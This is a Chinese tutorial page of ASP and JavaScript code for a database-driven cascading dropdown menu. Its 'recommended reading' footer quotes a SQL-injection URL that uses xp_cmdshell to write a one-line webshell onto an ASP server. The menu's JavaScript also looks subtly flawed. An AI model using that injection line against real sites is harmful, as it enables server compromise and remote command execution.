<!--打开两个表--> <% set rs1=server.CreateObject("adodb.recordset") sql1="select * from type1" rs1.open sql1,conn,1,3 set rs2=server.CreateObject("adodb.recordset") sql2="select * from type2" rs2.open sql2,conn,1,3 %> <form name="form1"> <!--建立菜单一--> <select name="type" size="1" onChange="redirect(this.options.value)"> <option value=0>请选择……</option> <%while not rs1.eof%> <option value="<%=rs1("news_type_1_id")%>"><%=rs1("news_type_1_type")%></option> <%rs1.movenext wend%> </select> <!--建立菜单二--> <select name="type2" size="1"> <option value=0>请选择</option> </select> </div> </form> <!--下面为具体实现的script语句--> <script> <!-- var temp=document.form1.type2 function redirect(x){ var i i=0 for (var m=temp.options.length-1;m>0;m--) temp.options[m]=null <%while not rs2.eof %> cnt=<%=rs2("news_type_1_id")%> if(cnt==x) { temp.options=new Option("<%=rs2("news_type_2_type")%>","<%=rs2("news_type_2_id")%>") i=i+1} <% rs2.movenext wend%> } //--> </script>
推荐阅读
ASP注入详细命令40条第1/2页
1、 用^转义字符来写ASP(一句话木马)文件的方法: http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^>>>>详细阅读
本文标题:ASP动态级联菜单实现代码
地址:http://www.17bianji.com/kaifa2/ASP/32263.html
1/2 1